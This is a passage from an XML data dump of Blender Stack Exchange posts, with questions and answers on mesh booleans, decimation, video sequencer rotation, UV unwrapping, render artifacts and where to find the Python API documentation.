here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It's possible that the lens distortion become more obvious. Undistorting might help for that. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also, since you are rescaling the image, know there will be some quality loss (your image might be softer). The only way to prevent that is to shoot your original video in a format that is larger than your output...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another strange effect that might happen, is that the motion blur that is already part of the original image looks completely wrong. In that case you might want to have the stabilization be &quot;less perfect&quot; by playing with the &quot;location influence&quot; values on the '2D Stabilization' tab, to let the image wiggle a bit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender doesn't have a one button solution like the &quot;warp stablize&quot; found on Adobe's &quot;for rent&quot; software.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="3710" LastEditDate="2016-07-12T11:50:11.913" LastActivityDate="2016-07-12T11:50:11.913" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12245" PostTypeId="1" CreationDate="2014-06-15T05:56:55.140" Score="0" ViewCount="630" Body="&lt;p&gt;I'm trying to make an animation of a cross section being &quot;pushed&quot; into a scientific instrument. (I.e., first you will see the outside of the instrument, and then some of the material will start disappearing until it is a cross section.) However, since I imported many of the parts from STP files (by converting them to STL files and them importing them to Blender) the meshes all have way too many vertices and the difference boolean modifier that I use to take the cross section in painfully slow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot figure out how to simplify the meshes enough so that the boolean operation will be fast (it only takes a second with one, but I have many in the final animation and it becomes incredibly slow for Blender to recalculate the boolean modifier). So, I would like to try to build the parts in blender. I have been able to build most of them by hand, but I am stuck on this one: &#xA;&lt;a href=&quot;https://www.dropbox.com/sh/otbgk0dm3rld28k/AACOpmzAKQ9C6N63C4Di1fyFa/f0800x600nt.stl&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/sh/otbgk0dm3rld28k/AACOpmzAKQ9C6N63C4Di1fyFa/f0800x600nt.stl&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Vf6Vq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a flange on the vacuum chamber. I don't need to include all of the small ridges, but I would like to make a ring with many (20) small holes symmetrically distributed about the ring. How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, is there another way that I can take cross sections that is faster than the boolean operator? Or, is there a way to simplify the mesh from the STL files? I tried the suggestions listed &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-282517.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and they reduced the vertices only by ~50% before the mesh started to look terrible.&lt;/p&gt;&#xA;" OwnerUserId="3418" LastActivityDate="2014-10-13T13:55:35.907" Title="Cut many radially symmetric holes" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12246" PostTypeId="2" ParentId="12189" CreationDate="2014-06-15T07:08:18.897" Score="1" Body="&lt;p&gt;First of all, select the first button. Then, ensuring you are on frame 1, go to the material tab, and set the colour to it's normal state (the colour you want for when the mouse is not over the button) and press &lt;kbd&gt;I&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if you want the change in diffuse of the button to be instantaneous, move onto the next frame. If you want there to be a longer transition between the two different states, however, move to a later frame, eg 5. The later the frame you change to, the longer the transition between the two states of the button will be when the mouse is over the button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you are on a different frame, change the colour of the button to what you want, and press &lt;kbd&gt;I&lt;/kbd&gt;, with your mouse over the diffuse slider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you scrub through the timeline with the mouse, in between the beginning and end of the animation you have just created, you should see the colour in the material tab changing (this will not work if watching the animation using &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you can open up the game logic window. Add a &quot;mouseover&quot; sensor, connect it to an &quot;and&quot; controller, and then connect that to an &quot;action&quot; actuator. Just under the button that is currently set to play, there is a box that allows you to chose the animation to run. Clicking on that box opens a drop down box that allows you to chose the animation to play - there should only be one as you have only created one animation thus far, so simply choose the only animation in the box (if you already have more than one animation in your scene, you will have to make sure you chose the animation that you just created for that button - you can see the names of animations in the top left window if switching to the &quot;animation&quot; view instead of &quot;default&quot; or &quot;game logic&quot; at the top of the blender window.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, there is the action playback type. This is above the animation box, currently set to &quot;play&quot;. Changing the animation type to &quot;flipper&quot; means that when the mouse moves over the button, the animation will run and the colour will change, but when the mouse is moved off the button, the colour will change back. If it were left on play, it would not change back when the mouse moves off the button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next there is the start frame and end frame. Set the start frame of the Action to 1, as this is the frame of the start of the animation you made earlier. Then, set the end frame to the frame when the diffuse animation ended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when the mouse is over that button in the game engine, the colour should change, and when the mouse is no longer over the button, it should change back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have tested that works, repeat the process for your other buttons. Make sure they all have different materials, as, otherwise, when one button changes, they may all change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this will not work if there is a texture on the button plane, that would require you to have an orange and a white button (one on top of the other) and to fade between them with a similar method to above, but changing the opacity instead of the colour of the slider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, something to be aware of is the animation you choose in the action actuator. Make sure you choose the animation for the button you want to change, because there will be more than one animation in the drop down box once you have created different animations for different buttons.&lt;/p&gt;&#xA;" OwnerUserId="1405" LastEditorUserId="1405" LastEditDate="2014-06-15T10:05:20.877" LastActivityDate="2014-06-15T10:05:20.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12247" PostTypeId="2" ParentId="12245" CreationDate="2014-06-15T09:30:33.217" Score="1" Body="&lt;p&gt;You could try the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Decimate&quot; rel=&quot;nofollow noreferrer&quot;&gt;Decimate Modifier&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shows the reduced mesh from 27K to 2.7K faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2XLW3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also switch to smooth shading with an edge split modifier to flatten the triangles on the outer ring.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-15T09:30:33.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12248" PostTypeId="1" AcceptedAnswerId="12250" CreationDate="2014-06-15T10:26:58.523" Score="6" ViewCount="1864" Body="&lt;p&gt;I'm trying to make a very simple video of an image being continuously rotated, but the 2.6 &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Effects&quot; rel=&quot;nofollow&quot;&gt;manual on this&lt;/a&gt; seems to be outdated. In 2.70 there is no rotation start/end but just a constant angle. Could someone share how this is done in current versions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not sure if this needs to be clarified but i'm importing the image in VSE as a strip (Shift-A -&gt; Image), not splashing it on a plane and trying to capture that with the camera ... or something else&lt;/p&gt;&#xA;" OwnerUserId="3152" LastEditorUserId="3152" LastEditDate="2014-06-16T11:36:12.400" LastActivityDate="2014-06-16T11:36:12.400" Title="how to continuously rotate an image in the video editor" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12250" PostTypeId="2" ParentId="12248" CreationDate="2014-06-15T10:58:28.293" Score="3" Body="&lt;p&gt;You add a transform effect strip then keyframe the start and end with rotation changes. Otherwise you can add a couple small rotation keyframes to check speed then add a Cycle modifier to the f-curve of the .blend that extends the animation out past the keyframes. &#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph/FModifiers&quot; rel=&quot;nofollow&quot;&gt;f-curve modifiers 2.6 wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cycles mode - Repeat with Offset&#xA;  : Repeats the curve data, but offsets the value of the first point to the value of the last point each cycle.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-06-15T10:58:28.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12251" PostTypeId="2" ParentId="12242" CreationDate="2014-06-15T12:19:42.667" Score="2" Body="&lt;p&gt;Blender's logic bricks are attached to an object. An armature is one object that can contain several bones, a simple motion actuator will move the entire armature as one solid object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move a single bone you need to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet&quot; rel=&quot;nofollow&quot;&gt;create an action&lt;/a&gt;, then play the action using an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Actuators/Action&quot; rel=&quot;nofollow&quot;&gt;action actuator&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-15T12:19:42.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12252" PostTypeId="1" AcceptedAnswerId="12253" CreationDate="2014-06-15T13:21:45.140" Score="0" ViewCount="255" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c6rhC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a tool to split this cubes faces or face into 4 &lt;strong&gt;equally spaced&lt;/strong&gt; faces?&#xA;So it will look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f2fE5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe just to split it into 2 equally spaced faces that I can apply twice?&lt;/p&gt;&#xA;" OwnerUserId="4846" LastActivityDate="2014-06-15T13:36:06.997" Title="Face splitting tool" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12253" PostTypeId="2" ParentId="12252" CreationDate="2014-06-15T13:30:54.270" Score="4" Body="&lt;p&gt;Yes there is. Select the face, then press &lt;kbd&gt;W&lt;/kbd&gt; and select 'Subdivide'.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OAWdj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result should look like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rJzQj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom the tools shelf on the right side of the 3D view you can also change the number of cuts and a bunch of other options.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xZkrf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;If the tools shelf is not visible, press &lt;kbd&gt;T&lt;/kbd&gt; while you mouse cursor is inside the 3D view to show it.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-06-15T13:36:06.997" LastActivityDate="2014-06-15T13:36:06.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12254" PostTypeId="2" ParentId="12211" CreationDate="2014-06-15T15:33:00.997" Score="8" Body="&lt;p&gt;Sometimes this problem can be &quot;solved&quot; by choosing a different Rotation Mode.  &quot;XYZ Euler&quot; is popular (because it is the default), but sometimes people pick a different one, either to avoid gimbal lock, or to achieve a particular animation effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the general purpose solution is to use parenting, either the genuine object parent field, or a Child Of constraint.  You tilt the &quot;parent&quot; such that one of its axes is what you want to rotate around (lined up with the spindle of the record player), then animate the rotation of the record around a single axis.  As you can see from the many comments, there are a couple of different ways to accomplish the effect you want, and each one has its pros and cons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Humane Rigging series has a few videos that might expand your understanding, the one I'd start with is &lt;a href=&quot;https://www.youtube.com/watch?v=wCigM5Q3uZg&quot; rel=&quot;noreferrer&quot; title=&quot;Humane Rigging Chapter 3 part 3&quot;&gt;Humane Rigging Chapter 3 part 3&lt;/a&gt; although you will probably want to watch part 2 and 4 when you have some spare time.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-06-15T15:33:00.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12255" PostTypeId="2" ParentId="11053" CreationDate="2014-06-15T15:46:05.873" Score="2" Body="&lt;p&gt;If you are using Cycles render, you have to combine a diffuse and a transparent or Holdout shader( depending on your needs and situation) with a mix shader.&#xA;Put the output of your alpha image as a factor in the mix shader, this way the whites of your alpha image will display the diffuse shader and the blacks will show the transparent shader or Holdout. Use Holdout if you want to retain your alpha in render also.&lt;/p&gt;&#xA;" OwnerUserId="4849" LastEditorUserId="2217" LastEditDate="2016-07-07T16:00:56.657" LastActivityDate="2016-07-07T16:00:56.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12256" PostTypeId="2" ParentId="12215" CreationDate="2014-06-15T16:39:09.233" Score="6" Body="&lt;p&gt;The problem is (as guessed by ideasman42) that Blender exports .obj-files always (at least I tested it on windows and Linux) with Linux &lt;a href=&quot;https://en.wikipedia.org/wiki/Newline&quot;&gt;line endings&lt;/a&gt; (that means there are only LF and no CR characters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a better editor than the standard Notepad you can often see the file correct even on Windows (for example with &lt;a href=&quot;http://notepad-plus-plus.org/&quot;&gt;Notepad++&lt;/a&gt;). There should be no problems using this file as it is, because I think most Programs can work with both line ending types. If it doesn't work it's easy to convert the line endings (as well with something like Notepad++).&lt;/p&gt;&#xA;" OwnerUserId="633" LastEditorUserId="633" LastEditDate="2014-06-15T19:44:11.447" LastActivityDate="2014-06-15T19:44:11.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12257" PostTypeId="2" ParentId="12234" CreationDate="2014-06-15T16:55:44.940" Score="4" Body="&lt;p&gt;The quick fix is to set the Trim duration (hard) start = 1083 on the strip for the 3D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The root of the problem is that by default an action strip pulls its data from the start of the animation.  You animated your text timed to line up with the start of the action strip, not the beginning of the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current Best Practice is to keep your VSE and your 3D separate.  The VSE scene should only have action strips and no 3D objects.  You can create a separate scene for the 3d animation that has no VSE strips in it.  Then the VSE scene has strips that refer to the separate 3D scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not in a hurry, you can duplicate the scene using the + button at the top and choose Link Objects.  This action does not actually copy all the VSE strips, but it does copy all the 3D objects, so you can use it for the source of the action strip.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-06-16T14:22:46.000" LastActivityDate="2014-06-16T14:22:46.000" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12258" PostTypeId="2" ParentId="12187" CreationDate="2014-06-15T17:30:32.083" Score="2" Body="&lt;p&gt;One technique that may help with UV unwrapping:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select all the faces you want to unwrap&lt;/li&gt;&#xA;&lt;li&gt;Ctrl-E(menu) Mark Seam&lt;/li&gt;&#xA;&lt;li&gt;'U'(menu) Unwrap&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you then look at the UV/Image editor with the faces still selected, you will notice that they are all laid out with the proportions of the original polygons, but without regard to topology.  This is bad for some situations, but it does prevent any of the distortions that are necessary in other situations.  You can then drag them around and scale them however you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also an icon at the bottom of the UV editor whose tooltip says &quot;Keep UV and edit mode mesh selection in sync&quot; which makes it easy to pick a face in 3D edit mode, then adjust its position or scale in the UV window.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-06-15T17:30:32.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12259" PostTypeId="2" ParentId="11053" CreationDate="2014-06-15T18:29:02.683" Score="1" Body="&lt;p&gt;On the texture panel, changing the mapping from 'generated' to 'UV' while doing everything else on here looks like it fixes what happens when you turn the alpha all the way down to zero.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2014-06-15T18:29:02.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12260" PostTypeId="1" CreationDate="2014-06-15T19:29:45.217" Score="3" ViewCount="1372" Body="&lt;p&gt;I'm trying to animate a cross section for a complicated object. I'm doing this by using a difference boolean modifier on the object and then sliding a cube into the object. The results look very nice, but blender basically grinds to a halt when trying to calculate the boolean. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is easily reproducible: just create a cube, add a subdivision surface, increase to 6 subdivisions (makes a sphere), add another cube, and add a boolean modifier to the first cube. Try to move one of the objects across the other one and observe the incredible slowness. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to decrease the number of vertices and faces in my scene, but it's a complicated object, so I cannot get much below 100k vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some other methods of generating a cross section (&lt;a href=&quot;https://blender.stackexchange.com/questions/8600/how-can-i-easily-animate-cutaway-views-on-multiple-objects&quot;&gt;using nodes, or camera clipping plane&lt;/a&gt;), but I like the look of the boolean which produces nice, closed objects instead of open ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to speed up the boolean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: to be more specific, I'm not really looking for a cross section, but more of a &quot;cutaway view&quot;, as described &lt;a href=&quot;https://blender.stackexchange.com/questions/8600/how-can-i-easily-animate-cutaway-views-on-multiple-objects?lq=1&quot;&gt;in this post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-11-10T05:26:30.720" Title="Faster boolean cross section?" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12261" PostTypeId="1" AcceptedAnswerId="22973" CreationDate="2014-06-15T20:52:35.743" Score="7" ViewCount="1362" Body="&lt;p&gt;I want to create shoelaces with skin modifier. I use Ctrl-A Y to flatten cross-section, and all looks good, but when I start to move vertices the angle of flattened part gets distorted and it does not confirm to the shoe surface. For curves I would use Tilt to solve this problem, but I do not know if something like this is possible for skin modifier as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a 'tilt-like' way to control skin modifier? Am I better off to use curves in this situation?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2016-06-01T19:04:51.630" LastActivityDate="2016-06-01T19:04:51.630" Title="Is there something similar to curves' tilt for skin modifier?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12262" PostTypeId="1" CreationDate="2014-06-15T22:59:36.297" Score="2" ViewCount="1836" Body="&lt;p&gt;I was using blender to render some animations for a personal blog, and I was hoping to embed the videos seamlessly into the post. I know that my website uses a background of 0xE3E5E7, so I set that as my background color in blender. When I render the animation to PNG, the background color stays at 0xE3E5E7, but once I compress it to mp4, ogv, etc. the background color changes a little bit, and sort of ruins the seamless integration I was hoping for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the Movie Sequence editor and using RGB curves to manually change the color balance so that the compressed video comes out right, but after about half an hour of trial-and-error, I wasn't able to actually get the output video to hit the desired color (it would get close, 0xE3E4E7, but it would never hit exactly). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I've tried increasing the bitrate so that the compression wouldn't be much of an issue, but the problem still persists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone knew of a way to render compressed video without color degradation or a way to filter an existing video to output something with a precise target color.&lt;/p&gt;&#xA;" OwnerUserId="2156" LastActivityDate="2019-03-05T12:33:35.820" Title="Compression &amp; Color change" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;video&gt;&lt;color-management&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12264" PostTypeId="1" CreationDate="2014-06-16T00:32:28.417" Score="0" ViewCount="1024" Body="&lt;p&gt;I'm getting black artifacts in my renders. It looks like black pepper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already re-calculated the normals (they were already facing in the right direction, anyway). You can see the artifacts on the door and the awning:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nsikR.png&quot; alt=&quot;Black artifacts in rendering&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using v2.68, but I get the same thing in v2.70.&lt;/p&gt;&#xA;" OwnerUserId="4851" LastEditorUserId="1363" LastEditDate="2014-06-16T01:32:51.550" LastActivityDate="2014-06-16T01:32:51.550" Title="Black artifacts in my renders" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-06-16T03:52:43.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="12265" PostTypeId="2" ParentId="12264" CreationDate="2014-06-16T01:07:50.940" Score="1" Body="&lt;p&gt;The black artifacts are caused by &lt;strong&gt;intersecting meshes&lt;/strong&gt;. In order to fix the issue, select the house model, enter edit mode and use &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;&quot;Remove doubles&quot;&lt;/em&gt;. Finally, go back to object mode and check if you have any duplicates of the objects in your scene, and delete them.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-16T01:07:50.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12266" PostTypeId="1" AcceptedAnswerId="12267" CreationDate="2014-06-16T07:08:57.237" Score="11" ViewCount="1054" Body="&lt;p&gt;Some of my scripts scripts are broken e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.pose.armature_layers(layers=sel_layers) # 2.6 api&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;has been (unnecessarily) renamed to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.pose.bone_layers(layers=sel_layers) # 2.7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the 2.71 RC1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.anim.keyframe_insert(type='BUILTIN_KSI_LocRot')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;leads to an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: Converting py args to operator properties:  enum &quot;BUILTIN_KSI_LocRot&quot;&#xA; not found in ('Available', 'WholeCharacter')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And seems no longer to respect the bone/armature layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest documentation I found is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_70_5/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is not accessible from the navigation pages from blender.org, manipulating the version part of the URL neither works (tried 2_71, 2_71RC1, 2_71_RC1). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can the 2.71 API be found?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-11-13T00:13:32.417" Title="Where can the latest API documentation be found?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12267" PostTypeId="2" ParentId="12266" CreationDate="2014-06-16T07:25:38.543" Score="12" Body="&lt;h2&gt;Update&lt;/h2&gt;&#xA;&lt;p&gt;You can now use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_current/&quot; rel=&quot;noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_current/&lt;/a&gt; to link to current API documentation. The difference from the old redirect is you can now link to specific parts, search results, etc. on the latest docs.&lt;/p&gt;&#xA;&lt;p&gt;You can still specify a specific version if needed, e.g.&lt;br /&gt;&#xA;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_76_2/&quot; rel=&quot;noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_2_76_2/&lt;/a&gt; goes to the 2.76 specific documentation.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Origonal answer&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;noreferrer&quot;&gt;This url&lt;/a&gt; is always redirected to the latest API documentation.&lt;/p&gt;&#xA;&lt;p&gt;It redirects to &lt;code&gt;http://www.blender.org/documentation/blender_python_api_*version*&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-11-13T00:13:32.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12268" PostTypeId="1" AcceptedAnswerId="12272" CreationDate="2014-06-16T08:06:33.460" Score="1" ViewCount="136" Body="&lt;p&gt;There's three buttons in the VSE header that let you turn on/off the preview and sequencer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JwpCw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do these have a keyboard shortcut?  And if no, is it possible to set one up?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-06-28T21:27:54.527" Title="Shortcut to change Type of Sequencer View" Tags="&lt;video-sequence-editor&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12269" PostTypeId="1" AcceptedAnswerId="12273" CreationDate="2014-06-16T10:53:12.223" Score="5" ViewCount="7787" Body="&lt;p&gt;That is pretty much my question. When I am in weight paint mode, I'd like to use a key shortcut to switch between add and subtract (or cycle with mix but that's less useful in my opinion) blend mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a shortcut already? Is there a generic way to setup a shortcut? (a little python won't scare me but I'm not an expert).&lt;/p&gt;&#xA;" OwnerDisplayName="user3345" LastActivityDate="2014-06-16T12:35:40.767" Title="Shortcut to switch between add and subtract in weight paint mode?" Tags="&lt;shortcut&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12270" PostTypeId="1" CreationDate="2014-06-16T11:24:30.613" Score="10" ViewCount="4386" Body="&lt;p&gt;I want that particles would appear from one corner, and like a wave would go through all the plane using vertex density. Basically just to animate the weight-painting. Is it possible do it, or maybe there is some other ways to make similar effect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mwMfU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2015-06-26T22:33:09.227" Title="How to animate weight-painting?" Tags="&lt;particles&gt;&lt;weight-painting&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12271" PostTypeId="2" ParentId="12266" CreationDate="2014-06-16T11:35:27.227" Score="5" Body="&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot;&gt;documentation hosted online&lt;/a&gt; for blender's python api docs is generated from blender's source code. While you will most likely find it awkward to search through the source code for the information you want, you can generate the latest api docs at any time similar to how you can build your own version of blender from source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender uses sphinx to generate the api documentaion. Details of generating the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/API/Generating_API_Reference&quot;&gt;api docs is here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-16T11:35:27.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
